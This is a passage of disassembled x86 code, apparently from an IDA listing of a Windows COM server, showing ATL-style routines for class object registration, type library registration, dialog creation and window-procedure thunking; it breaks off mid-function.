; =============== S U B R O U T I N E =======================================
; int __thiscall sub_404570(LPVOID lpMem,char)
sub_404570 proc near ; CODE XREF: sub_4010C0+461p
arg_0 = byte ptr 4
push esi
mov esi, ecx
lea ecx, [esi+20h]
mov dword ptr [esi], offset off_40D698
call sub_408C20
test [esp+4+arg_0], 1
jz short loc_404591
push esi ; lpMem
call sub_40AF60
add esp, 4
loc_404591: ; CODE XREF: sub_404570+16j
mov eax, esi
pop esi
retn 4
sub_404570 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4045A0 proc near ; CODE XREF: sub_4010C0+54p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
mov esi, [esp+8+arg_0]
xor ebx, ebx
cmp esi, ebx
jnz short loc_4045B6
pop esi
mov eax, 80070057h
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
loc_4045B6: ; CODE XREF: sub_4045A0+Aj
mov eax, [esp+8+arg_4]
lea ecx, [esi+1Ch]
mov [esi+10h], eax
mov eax, [esp+8+arg_8]
push edi
mov edi, ds:InitializeCriticalSection
push ecx ; lpCriticalSection
mov [esi+8], eax
mov [esi+0Ch], eax
mov [esi+4], eax
mov [esi+14h], ebx
mov [esi+18h], ebx
call edi ; InitializeCriticalSection
lea edx, [esi+34h]
push edx ; lpCriticalSection
call edi ; InitializeCriticalSection
lea eax, [esi+4Ch]
push eax ; lpCriticalSection
call edi ; InitializeCriticalSection
mov edi, [esi+10h]
mov [esi+68h], ebx
cmp edi, ebx
mov byte ptr [esi+6Ch], 1
mov [esi+74h], ebx
mov [esi+7Ch], ebx
mov [esi+78h], ebx
mov [esi+80h], ebx
jz short loc_404620
cmp [edi], ebx
jz short loc_404620
loc_40460A: ; CODE XREF: sub_4045A0+7Ej
push 1
call dword ptr [edi+20h]
cmp dword ptr [esi], 64h
jnz short loc_404619
add edi, 1Ch
jmp short loc_40461C
; ---------------------------------------------------------------------------
loc_404619: ; CODE XREF: sub_4045A0+72j
add edi, 24h
loc_40461C: ; CODE XREF: sub_4045A0+77j
cmp [edi], ebx
jnz short loc_40460A
loc_404620: ; CODE XREF: sub_4045A0+64j
; sub_4045A0+68j
pop edi
pop esi
xor eax, eax
pop ebx
retn 0Ch
sub_4045A0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_404630(int,DWORD dwClsContext,LPUNKNOWN flags)
sub_404630 proc near ; CODE XREF: sub_4010C0+352p
arg_0 = dword ptr 4
dwClsContext = dword ptr 8
flags = dword ptr 0Ch
mov ecx, [esp+arg_0]
test ecx, ecx
jnz short loc_404640
mov eax, 80070057h
retn 0Ch
; ---------------------------------------------------------------------------
loc_404640: ; CODE XREF: sub_404630+6j
push ebx
push ebp
push esi
mov esi, [ecx+10h]
xor eax, eax
push edi
cmp dword ptr [esi], 0
jz short loc_4046BD
mov ebp, [esp+10h+flags]
lea ebx, [esi+14h]
loc_404655: ; CODE XREF: sub_404630+8Bj
test eax, eax
jnz short loc_4046BD
mov [esp+10h+flags], eax
mov eax, [esi+8]
test eax, eax
jz short loc_4046A5
mov edx, [esi+0Ch]
lea ecx, [esp+10h+flags]
push ecx
push offset dword_40D830
push edx
call eax
mov edi, eax
test edi, edi
jl short loc_404691
mov eax, [esp+10h+dwClsContext]
mov ecx, [esp+10h+flags]
mov edx, [esi]
push ebx ; lpdwRegister
push ebp ; flags
push eax ; dwClsContext
push ecx ; pUnk
push edx ; rclsid
call ds:CoRegisterClassObject
mov edi, eax
loc_404691: ; CODE XREF: sub_404630+48j
mov eax, [esp+10h+flags]
test eax, eax
jz short loc_40469F
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_40469F: ; CODE XREF: sub_404630+67j
mov ecx, [esp+10h+arg_0]
mov eax, edi
loc_4046A5: ; CODE XREF: sub_404630+32j
cmp dword ptr [ecx], 64h
jnz short loc_4046B2
add esi, 1Ch
add ebx, 1Ch
jmp short loc_4046B8
; ---------------------------------------------------------------------------
loc_4046B2: ; CODE XREF: sub_404630+78j
add esi, 24h
add ebx, 24h
loc_4046B8: ; CODE XREF: sub_404630+80j
cmp dword ptr [esi], 0
jnz short loc_404655
loc_4046BD: ; CODE XREF: sub_404630+1Cj
; sub_404630+27j
pop edi
pop esi
pop ebp
pop ebx
retn 0Ch
sub_404630 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4046D0 proc near ; CODE XREF: sub_4010C0+46Bp
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
test edi, edi
jnz short loc_4046E2
mov eax, 80070057h
pop edi
retn 4
; ---------------------------------------------------------------------------
loc_4046E2: ; CODE XREF: sub_4046D0+7j
push ebx
push esi
mov esi, [edi+10h]
xor eax, eax
cmp dword ptr [esi], 0
jz short loc_404710
mov ebx, ds:CoRevokeClassObject
loc_4046F4: ; CODE XREF: sub_4046D0+3Ej
test eax, eax
jnz short loc_404710
mov eax, [esi+14h]
push eax ; dwRegister
call ebx ; CoRevokeClassObject
cmp dword ptr [edi], 64h
jnz short loc_404708
add esi, 1Ch
jmp short loc_40470B
; ---------------------------------------------------------------------------
loc_404708: ; CODE XREF: sub_4046D0+31j
add esi, 24h
loc_40470B: ; CODE XREF: sub_4046D0+36j
cmp dword ptr [esi], 0
jnz short loc_4046F4
loc_404710: ; CODE XREF: sub_4046D0+1Cj
; sub_4046D0+26j
pop esi
pop ebx
pop edi
retn 4
sub_4046D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_404720 proc near ; CODE XREF: sub_4010C0+480p
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
test edi, edi
jnz short loc_404732
mov eax, 80070057h
pop edi
retn 4
; ---------------------------------------------------------------------------
loc_404732: ; CODE XREF: sub_404720+7j
push ebp
push esi
mov esi, [edi+10h]
test esi, esi
jz short loc_40476B
cmp dword ptr [esi], 0
jz short loc_40476B
loc_404740: ; CODE XREF: sub_404720+49j
mov eax, [esi+10h]
test eax, eax
jz short loc_40474D
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_40474D: ; CODE XREF: sub_404720+25j
push 0
mov dword ptr [esi+10h], 0
call dword ptr [esi+20h]
cmp dword ptr [edi], 64h
jnz short loc_404763
add esi, 1Ch
jmp short loc_404766
; ---------------------------------------------------------------------------
loc_404763: ; CODE XREF: sub_404720+3Cj
add esi, 24h
loc_404766: ; CODE XREF: sub_404720+41j
cmp dword ptr [esi], 0
jnz short loc_404740
loc_40476B: ; CODE XREF: sub_404720+19j
; sub_404720+1Ej
mov esi, ds:DeleteCriticalSection
lea edx, [edi+1Ch]
push edx ; lpCriticalSection
call esi ; DeleteCriticalSection
lea eax, [edi+34h]
push eax ; lpCriticalSection
call esi ; DeleteCriticalSection
lea ecx, [edi+4Ch]
push ecx ; lpCriticalSection
call esi ; DeleteCriticalSection
mov esi, [edi+80h]
test esi, esi
jz short loc_4047A5
loc_40478D: ; CODE XREF: sub_404720+83j
mov edx, [esi+4]
push edx
call dword ptr [esi]
mov ebp, [esi+8]
push esi ; lpMem
call sub_40AF60
add esp, 4
mov esi, ebp
test ebp, ebp
jnz short loc_40478D
loc_4047A5: ; CODE XREF: sub_404720+6Bj
mov eax, [edi+18h]
test eax, eax
jz short loc_4047D9
mov al, [edi+6Ch]
test al, al
jz short loc_4047D9
mov eax, [edi+78h]
mov ebp, ds:HeapDestroy
test eax, eax
jz short loc_4047D3
xor esi, esi
loc_4047C2: ; CODE XREF: sub_404720+B1j
mov eax, [edi+78h]
mov ecx, [eax+esi*4]
push ecx ; hHeap
call ebp ; HeapDestroy
mov eax, [edi+74h]
inc esi
cmp esi, eax
jbe short loc_4047C2
loc_4047D3: ; CODE XREF: sub_404720+9Ej
mov edx, [edi+18h]
push edx ; hHeap
call ebp ; HeapDestroy
loc_4047D9: ; CODE XREF: sub_404720+8Aj
; sub_404720+91j
pop esi
pop ebp
xor eax, eax
pop edi
retn 4
sub_404720 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4047F0 proc near ; DATA XREF: .rdata:0040D69Co
mov eax, offset sub_404ED0
retn
sub_4047F0 endp
; ---------------------------------------------------------------------------
align 10h
; [00000003 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
align 10h
; =============== S U B R O U T I N E =======================================
sub_404810 proc near ; CODE XREF: sub_4010C0+337p
lpString = dword ptr -220h
pptlib = dword ptr -21Ch
var_218 = dword ptr -218h
var_214 = dword ptr -214h
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
szHelpDir = word ptr -208h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
sub esp, 220h
test eax, eax
jnz short loc_40482C
mov eax, 80070057h
add esp, 220h
retn 0Ch
; ---------------------------------------------------------------------------
loc_40482C: ; CODE XREF: sub_404810+Cj
push ebx
push ebp
mov ebp, [eax+10h]
push esi
push edi
xor ebx, ebx
mov edi, [ebp+0]
test edi, edi
jz loc_404983
loc_404840: ; CODE XREF: sub_404810+140j
mov esi, [esp+230h+arg_8]
test esi, esi
jnz short loc_40485E
mov eax, [ebp+18h]
test eax, eax
jz short loc_40486D
call eax
test eax, eax
jnz loc_404935
jmp short loc_40486D
; ---------------------------------------------------------------------------
loc_40485E: ; CODE XREF: sub_404810+39j
mov ecx, 4
xor eax, eax
repe cmpsd
jnz loc_404935
loc_40486D: ; CODE XREF: sub_404810+40j
; sub_404810+4Cj
push 1
call dword ptr [ebp+4]
mov ebx, eax
test ebx, ebx
jl loc_404A17
mov ecx, [esp+230h+arg_0]
cmp dword ptr [ecx], 84h
jnz loc_404935
call dword ptr [ebp+1Ch]
mov ebx, [ebp+0]
mov edi, eax
test edi, edi
mov [esp+230h+lpString], 0
jz loc_404933
lea edx, [esp+230h+lpString]
push edx ; ppv
push offset riid ; riid
push 1 ; dwClsContext
push 0 ; pUnkOuter
push offset rclsid ; rclsid
call ds:CoCreateInstance
test eax, eax
jge short loc_4048D4
mov eax, [esp+230h+lpString]
test eax, eax
jz short loc_404933
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
jmp short loc_404933
; ---------------------------------------------------------------------------
loc_4048D4: ; CODE XREF: sub_404810+B2j
cmp dword ptr [edi], 0
jz short loc_404925
loc_4048D9: ; CODE XREF: sub_404810+113j
mov edx, [edi+4]
mov eax, [edx]
mov [esp+230h+var_218], eax
mov ecx, [edx+4]
mov [esp+230h+var_214], ecx
mov eax, [edx+8]
mov [esp+230h+var_210], eax
mov eax, [edi]
mov ecx, [edx+0Ch]
cmp eax, 1
mov eax, [esp+230h+lpString]
mov [esp+230h+var_20C], ecx
lea ecx, [esp+230h+var_218]
mov edx, [eax]
push ecx
push 1
push ebx
push eax
jnz short loc_404912
call dword ptr [edx+14h]
jmp short loc_404915
; ---------------------------------------------------------------------------
loc_404912: ; CODE XREF: sub_404810+FBj
call dword ptr [edx+1Ch]
loc_404915: ; CODE XREF: sub_404810+100j
mov esi, eax
test esi, esi
jl short loc_404955
mov eax, [edi+8]
add edi, 8
test eax, eax
jnz short loc_4048D9
loc_404925: ; CODE XREF: sub_404810+C7j
mov eax, [esp+230h+lpString]
test eax, eax
jz short loc_404933
mov edx, [eax]
push eax
call dword ptr [edx+8]
loc_404933: ; CODE XREF: sub_404810+91j
; sub_404810+BAj ...
xor ebx, ebx
loc_404935: ; CODE XREF: sub_404810+46j
; sub_404810+57j ...
mov eax, [esp+230h+arg_0]
cmp dword ptr [eax], 64h
jnz short loc_404946
add ebp, 1Ch
jmp short loc_404949
; ---------------------------------------------------------------------------
loc_404946: ; CODE XREF: sub_404810+12Fj
add ebp, 24h
loc_404949: ; CODE XREF: sub_404810+134j
mov edi, [ebp+0]
test edi, edi
jz short loc_404974
jmp loc_404840
; ---------------------------------------------------------------------------
loc_404955: ; CODE XREF: sub_404810+109j
mov eax, [esp+230h+lpString]
test eax, eax
jz short loc_404963
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_404963: ; CODE XREF: sub_404810+14Bj
mov ebx, esi
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 220h
retn 0Ch
; ---------------------------------------------------------------------------
loc_404974: ; CODE XREF: sub_404810+13Ej
test ebx, ebx
jl loc_404A17
mov eax, [esp+230h+arg_0]
loc_404983: ; CODE XREF: sub_404810+2Aj
mov edx, [esp+230h+arg_4]
xor ecx, ecx
cmp edx, ecx
jz loc_404A17
lea edx, [esp+230h+pptlib]
mov [esp+230h+lpString], ecx
push edx ; pptlib
lea edx, [esp+234h+lpString]
push edx ; int
push ecx ; lpWideCharStr
push eax ; int
mov [esp+240h+pptlib], ecx
call sub_404C30
mov ebx, eax
test ebx, ebx
jl short loc_4049FE
mov eax, [esp+230h+lpString]
push eax ; lpString
mov esi, eax
call ds:lstrlenW ; lstrlenW
lea ecx, [eax+eax+2]
lea edi, [esp+230h+szHelpDir]
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
lea ecx, [esp+230h+szHelpDir]
push ecx
call sub_404A30
mov [esp+eax*2+230h+szHelpDir], 0
lea edx, [esp+230h+szHelpDir]
mov eax, [esp+230h+lpString]
mov ecx, [esp+230h+pptlib]
push edx ; szHelpDir
push eax ; szFullPath
push ecx ; ptlib
call ds:RegisterTypeLib
mov ebx, eax
loc_4049FE: ; CODE XREF: sub_404810+1A1j
mov eax, [esp+230h+pptlib]
test eax, eax
jz short loc_404A0C
mov edx, [eax]
push eax
call dword ptr [edx+8]
loc_404A0C: ; CODE XREF: sub_404810+1F4j
mov eax, [esp+230h+lpString]
push eax ; bstrString
call ds:SysFreeString
loc_404A17: ; CODE XREF: sub_404810+66j
; sub_404810+166j ...
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 220h
retn 0Ch
sub_404810 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_404A30 proc near ; CODE XREF: sub_404810+1CBp
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, esi
mov ecx, esi
cmp word ptr [esi], 0
jz short loc_404A64
loc_404A3F: ; CODE XREF: sub_404A30+32j
mov dx, [ecx]
test dx, dx
jz short loc_404A4A
add ecx, 2
loc_404A4A: ; CODE XREF: sub_404A30+15j
cmp dx, 5Ch
jz short loc_404A5C
cmp dx, 2Fh
jz short loc_404A5C
cmp dx, 3Ah
jnz short loc_404A5E
loc_404A5C: ; CODE XREF: sub_404A30+1Ej
; sub_404A30+24j
mov eax, ecx
loc_404A5E: ; CODE XREF: sub_404A30+2Aj
cmp word ptr [ecx], 0
jnz short loc_404A3F
loc_404A64: ; CODE XREF: sub_404A30+Dj
sub eax, esi
pop esi
sar eax, 1
retn 4
sub_404A30 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_404A70(int pptlib,BSTR bstrString,int)
sub_404A70 proc near ; CODE XREF: sub_4010C0+25Cp
ppv = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
pptlib = dword ptr 4
bstrString = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+pptlib]
sub esp, 14h
push ebp
xor ebp, ebp
cmp eax, ebp
jnz short loc_404A8A
mov eax, 80070057h
pop ebp
add esp, 14h
retn 0Ch
; ---------------------------------------------------------------------------
loc_404A8A: ; CODE XREF: sub_404A70+Cj
push ebx
mov ebx, [eax+10h]
push esi
push edi
mov edi, [ebx]
cmp edi, ebp
jz loc_404B7E
loc_404A9A: ; CODE XREF: sub_404A70+104j
mov esi, [esp+24h+arg_8]
cmp esi, ebp
jnz short loc_404AB5
mov eax, [ebx+18h]
cmp eax, ebp
jz short loc_404AC4
call eax
test eax, eax
jnz loc_404B5F
jmp short loc_404AC4
; ---------------------------------------------------------------------------
loc_404AB5: ; CODE XREF: sub_404A70+30j
mov ecx, 4
xor eax, eax
repe cmpsd
jnz loc_404B5F
loc_404AC4: ; CODE XREF: sub_404A70+37j
; sub_404A70+43j
push ebp
call dword ptr [ebx+4]
call dword ptr [ebx+1Ch]
mov edi, [ebx]
mov esi, eax
cmp esi, ebp
mov [esp+24h+ppv], ebp
jz loc_404B5F
lea ecx, [esp+24h+ppv]
push ecx ; ppv
push offset riid ; riid
push 1 ; dwClsContext
push ebp ; pUnkOuter
push offset rclsid ; rclsid
call ds:CoCreateInstance
test eax, eax
jge short loc_404B07
mov eax, [esp+24h+ppv]
cmp eax, ebp
jz short loc_404B5F
mov edx, [eax]
push eax
call dword ptr [edx+8]
jmp short loc_404B5F
; ---------------------------------------------------------------------------
loc_404B07: ; CODE XREF: sub_404A70+85j
cmp [esi], ebp
jz short loc_404B51
loc_404B0B: ; CODE XREF: sub_404A70+DFj
mov eax, [esi+4]
mov ecx, [eax]
mov [esp+24h+var_10], ecx
mov edx, [eax+4]
mov [esp+24h+var_C], edx
mov ecx, [eax+8]
mov [esp+24h+var_8], ecx
mov edx, [eax+0Ch]
mov eax, [esi]
mov [esp+24h+var_4], edx
lea edx, [esp+24h+var_10]
cmp eax, 1
mov eax, [esp+24h+ppv]
push edx
push 1
mov ecx, [eax]
push edi
push eax
jnz short loc_404B44
call dword ptr [ecx+18h]
jmp short loc_404B47
; ---------------------------------------------------------------------------
loc_404B44: ; CODE XREF: sub_404A70+CDj
call dword ptr [ecx+20h]
loc_404B47: ; CODE XREF: sub_404A70+D2j
mov eax, [esi+8]
add esi, 8
cmp eax, ebp
jnz short loc_404B0B
loc_404B51: ; CODE XREF: sub_404A70+99j
mov eax, [esp+24h+ppv]
cmp eax, ebp
jz short loc_404B5F
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_404B5F: ; CODE XREF: sub_404A70+3Dj
; sub_404A70+4Ej ...
mov edx, [esp+24h+pptlib]
cmp dword ptr [edx], 64h
jnz short loc_404B6D
add ebx, 1Ch
jmp short loc_404B70
; ---------------------------------------------------------------------------
loc_404B6D: ; CODE XREF: sub_404A70+F6j
add ebx, 24h
loc_404B70: ; CODE XREF: sub_404A70+FBj
mov edi, [ebx]
cmp edi, ebp
jnz loc_404A9A
mov eax, [esp+24h+pptlib]
loc_404B7E: ; CODE XREF: sub_404A70+24j
cmp [esp+24h+bstrString], ebp
jz loc_404C21
lea ecx, [esp+24h+pptlib]
lea edx, [esp+24h+bstrString]
push ecx ; pptlib
push edx ; int
push ebp ; lpWideCharStr
push eax ; int
mov [esp+34h+bstrString], ebp
mov [esp+34h+pptlib], ebp
call sub_404C30
test eax, eax
jl short loc_404C08
mov eax, [esp+24h+pptlib]
lea edx, [esp+24h+arg_8]
push edx
push eax
mov ecx, [eax]
call dword ptr [ecx+1Ch]
test eax, eax
jl short loc_404C08
push offset LibFileName ; "oleaut32.dll"
call ds:LoadLibraryA ; LoadLibraryA
mov esi, eax
cmp esi, ebp
jz short loc_404BF9
push offset ProcName ; "UnRegisterTypeLib"
push esi ; hModule
call ds:GetProcAddress ; GetProcAddress
cmp eax, ebp
jz short loc_404BF2
mov ecx, [esp+24h+arg_8]
mov edx, [ecx+14h]
push edx
mov edx, [ecx+10h]
push edx
mov dx, [ecx+1Ah]
push edx
mov dx, [ecx+18h]
push edx
push ecx
call eax
loc_404BF2: ; CODE XREF: sub_404A70+167j
push esi ; hLibModule
call ds:FreeLibrary ; FreeLibrary
loc_404BF9: ; CODE XREF: sub_404A70+157j
mov eax, [esp+24h+pptlib]
mov edx, [esp+24h+arg_8]
push edx
push eax
mov ecx, [eax]
call dword ptr [ecx+30h]
loc_404C08: ; CODE XREF: sub_404A70+133j
; sub_404A70+146j
mov eax, [esp+24h+pptlib]
cmp eax, ebp
jz short loc_404C16
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_404C16: ; CODE XREF: sub_404A70+19Ej
mov edx, [esp+24h+bstrString]
push edx ; bstrString
call ds:SysFreeString
loc_404C21: ; CODE XREF: sub_404A70+112j
pop edi
pop esi
pop ebx
xor eax, eax
pop ebp
add esp, 14h
retn 0Ch
sub_404A70 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_404C30(int,LPCWSTR lpWideCharStr,int,ITypeLib **pptlib)
sub_404C30 proc near ; CODE XREF: sub_404810+198p
; sub_404A70+12Cp
String = byte ptr -110h
arg_0 = dword ptr 8
lpWideCharStr = dword ptr 0Ch
arg_8 = dword ptr 10h
pptlib = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 110h
mov eax, [ebp+arg_8]
mov ecx, [ebp+pptlib]
push ebx
push esi
mov dword ptr [eax], 0
mov eax, [ebp+arg_0]
push edi
mov dword ptr [ecx], 0
mov ecx, [eax+0Ch]
lea edx, [ebp+String]
push 104h ; nSize
push edx ; lpFilename
push ecx ; hModule
call ds:GetModuleFileNameA ; GetModuleFileNameA
mov ebx, [ebp+lpWideCharStr]
test ebx, ebx
jz short loc_404CAB
push ebx ; lpString
call ds:lstrlenW ; lstrlenW
lea edi, [eax+eax+2]
mov eax, edi
add eax, 3
and al, 0FCh
call sub_40AF70
mov esi, esp
push 0 ; lpUsedDefaultChar
push 0 ; lpDefaultChar
push edi ; cbMultiByte
push esi ; lpMultiByteStr
push 0FFFFFFFFh ; cchWideChar
push ebx ; lpWideCharStr
push 0 ; dwFlags
push 0 ; CodePage
mov byte ptr [esi], 0
call ds:WideCharToMultiByte ; WideCharToMultiByte
lea edx, [ebp+String]
push esi ; lpString2
push edx ; lpString1
call ds:lstrcatA ; lstrcatA
loc_404CAB: ; CODE XREF: sub_404C30+3Cj
mov ebx, ds:lstrlenA
lea eax, [ebp+String]
test eax, eax
jnz short loc_404CBF
xor edi, edi
jmp short loc_404CF4
; ---------------------------------------------------------------------------
loc_404CBF: ; CODE XREF: sub_404C30+89j
lea ecx, [ebp+String]
push ecx ; lpString
call ebx ; lstrlenA
mov esi, eax
inc esi
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_40AF70
mov edi, esp
push esi ; cchWideChar
push edi ; lpWideCharStr
lea edx, [ebp+String]
push 0FFFFFFFFh ; cbMultiByte
push edx ; lpMultiByteStr
push 0 ; dwFlags
push 0 ; CodePage
mov word ptr [edi], 0
call ds:MultiByteToWideChar ; MultiByteToWideChar
loc_404CF4: ; CODE XREF: sub_404C30+8Dj
mov eax, [ebp+pptlib]
push eax ; pptlib
push edi ; szFile
call ds:LoadTypeLib
mov esi, eax
test esi, esi
jge loc_404D97
mov cl, [ebp+String]
xor esi, esi
test cl, cl
lea eax, [ebp+String]
jz short loc_404D35
mov edi, ds:CharNextA
loc_404D21: ; CODE XREF: sub_404C30+FFj
cmp cl, 2Eh
jnz short loc_404D28
mov esi, eax
loc_404D28: ; CODE XREF: sub_404C30+F4j
push eax ; lpsz
call edi ; CharNextA
mov cl, [eax]
test cl, cl
jnz short loc_404D21
test esi, esi
jnz short loc_404D37
loc_404D35: ; CODE XREF: sub_404C30+E9j
mov esi, eax
loc_404D37: ; CODE XREF: sub_404C30+103j
push offset a_tlb ; ".tlb"
push esi ; lpString1
call ds:lstrcpyA ; lstrcpyA
lea ecx, [ebp+String]
test ecx, ecx
jnz short loc_404D51
xor edi, edi
jmp short loc_404D86
; ---------------------------------------------------------------------------
loc_404D51: ; CODE XREF: sub_404C30+11Bj
lea edx, [ebp+String]
push edx ; lpString
call ebx ; lstrlenA
mov esi, eax
inc esi
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_40AF70
mov edi, esp
push esi ; cchWideChar
push edi ; lpWideCharStr
lea eax, [ebp+String]
push 0FFFFFFFFh ; cbMultiByte
push eax ; lpMultiByteStr
push 0 ; dwFlags
push 0 ; CodePage
mov word ptr [edi], 0
call ds:MultiByteToWideChar ; MultiByteToWideChar
loc_404D86: ; CODE XREF: sub_404C30+11Fj
mov ecx, [ebp+pptlib]
push ecx ; pptlib
push edi ; szFile
call ds:LoadTypeLib
mov esi, eax
test esi, esi
jl short loc_404DA3
loc_404D97: ; CODE XREF: sub_404C30+D3j
push edi ; psz
call ds:SysAllocString
mov edx, [ebp+arg_8]
mov [edx], eax
loc_404DA3: ; CODE XREF: sub_404C30+165j
lea esp, [ebp-11Ch]
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn 10h
sub_404C30 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_404DC0(HWND hWndParent,LPARAM dwInitParam)
sub_404DC0 proc near ; CODE XREF: sub_4010C0+3D5p
hWndParent = dword ptr 4
dwInitParam = dword ptr 8
push esi
lea esi, [ecx+8]
mov [esi], ecx
call ds:GetCurrentThreadId ; GetCurrentThreadId
push offset CriticalSection ; lpCriticalSection
mov [esi+4], eax
call ds:EnterCriticalSection
mov eax, dword_40FB48
push offset CriticalSection ; lpCriticalSection
mov [esi+8], eax
mov dword_40FB48, esi
call ds:LeaveCriticalSection
mov ecx, [esp+4+dwInitParam]
mov edx, [esp+4+hWndParent]
mov eax, hInstance
push ecx ; dwInitParam
push offset DialogFunc ; lpDialogFunc
push edx ; hWndParent
push 65h ; lpTemplateName
push eax ; hInstance
call ds:CreateDialogParamA ; CreateDialogParamA
pop esi
retn 8
sub_404DC0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; INT_PTR __stdcall DialogFunc(HWND,UINT,WPARAM,LPARAM)
DialogFunc proc near ; DATA XREF: sub_404DC0+41o
hWnd = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
push esi
push edi
push offset CriticalSection ; lpCriticalSection
xor edi, edi
call ds:EnterCriticalSection
mov esi, dword_40FB48
test esi, esi
jz short loc_404E68
call ds:GetCurrentThreadId ; GetCurrentThreadId
xor ecx, ecx
loc_404E42: ; CODE XREF: DialogFunc+2Ej
cmp [esi+4], eax
jz short loc_404E52
mov ecx, esi
mov esi, [esi+8]
test esi, esi
jnz short loc_404E42
jmp short loc_404E68
; ---------------------------------------------------------------------------
loc_404E52: ; CODE XREF: DialogFunc+25j
test ecx, ecx
jnz short loc_404E60
mov eax, [esi+8]
mov dword_40FB48, eax
jmp short loc_404E66
; ---------------------------------------------------------------------------
loc_404E60: ; CODE XREF: DialogFunc+34j
mov edx, [esi+8]
mov [ecx+8], edx
loc_404E66: ; CODE XREF: DialogFunc+3Ej
mov edi, [esi]
loc_404E68: ; CODE XREF: DialogFunc+18j
; DialogFunc+30j
push offset CriticalSection ; lpCriticalSection
call ds:LeaveCriticalSection
mov eax, [edi]
mov ecx, edi
mov ebx, [esp+0Ch+hWnd]
mov [edi+4], ebx
call dword ptr [eax+4]
lea esi, [edi+8]
push 0Dh ; dwSize
sub eax, esi
push esi ; lpBaseAddress
sub eax, 0Dh
mov dword ptr [esi], 42444C7h
mov [esi+4], edi
mov byte ptr [esi+8], 0E9h
mov [esi+9], eax
call ds:GetCurrentProcess ; GetCurrentProcess
push eax ; hProcess
call ds:FlushInstructionCache ; FlushInstructionCache
push esi ; dwNewLong
push 4 ; nIndex
push ebx ; hWnd
call ds:SetWindowLongA ; SetWindowLongA
mov ecx, [esp+0Ch+arg_C]
mov edx, [esp+0Ch+arg_8]
mov eax, [esp+0Ch+arg_4]
push ecx
push edx
push eax
push ebx
call esi
pop edi
pop esi
pop ebx
retn 10h
DialogFunc endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_404ED0(LONG dwNewLong,int,int,int)
sub_404ED0 proc near ; DATA XREF: sub_4047F0o
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
dwNewLong = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
sub esp, 1Ch
push ebx
mov edx, [esp+20h+arg_C]
push ebp
mov ecx, [esp+24h+arg_8]
push esi
mov esi, [esp+28h+dwNewLong]
xor ebx, ebx
push edi
mov ebp, [esi+18h]
mov edi, [esp+2Ch+arg_4]
mov eax, [esi+4]
mov [esp+2Ch+var_C], ebx
mov [esp+2Ch+var_8], ebx
mov [esp+2Ch+var_4], ebx
push ebx
lea ebx, [esp+30h+dwNewLong]
mov [esp+30h+arg_4], ebp
lea ebp, [esp+30h+var_1C]
push ebx
push edx
mov [esi+18h], ebp
mov ebp, [esi]
push ecx
mov [esp+3Ch+var_14], ecx
push edi
push eax
mov ecx, esi
mov [esp+44h+var_1C], eax
mov [esp+44h+var_18], edi
mov [esp+44h+var_10], edx
call dword ptr [ebp+0]
test eax, eax
mov ecx, [esp+2Ch+arg_4]
mov [esi+18h], ecx
jz short loc_404F90
cmp edi, 39h
ja short loc_404F4A
jz short loc_404F82
cmp edi, 2Eh
jb short loc_404F62
cmp edi, 2Fh
jbe short loc_404F82
cmp edi, 37h
jz short loc_404F82
jmp short loc_404F62
; ---------------------------------------------------------------------------
loc_404F4A: ; CODE XREF: sub_404ED0+65j
cmp edi, 110h
jz short loc_404F82
cmp edi, 131h
jbe short loc_404F62
cmp edi, 138h
jbe short loc_404F82
loc_404F62: ; CODE XREF: sub_404ED0+6Cj
; sub_404ED0+78j ...
mov edx, [esp+2Ch+dwNewLong]
mov eax, [esi+4]
push edx ; dwNewLong
push 0 ; nIndex
push eax ; hWnd
call ds:SetWindowLongA ; SetWindowLongA
pop edi
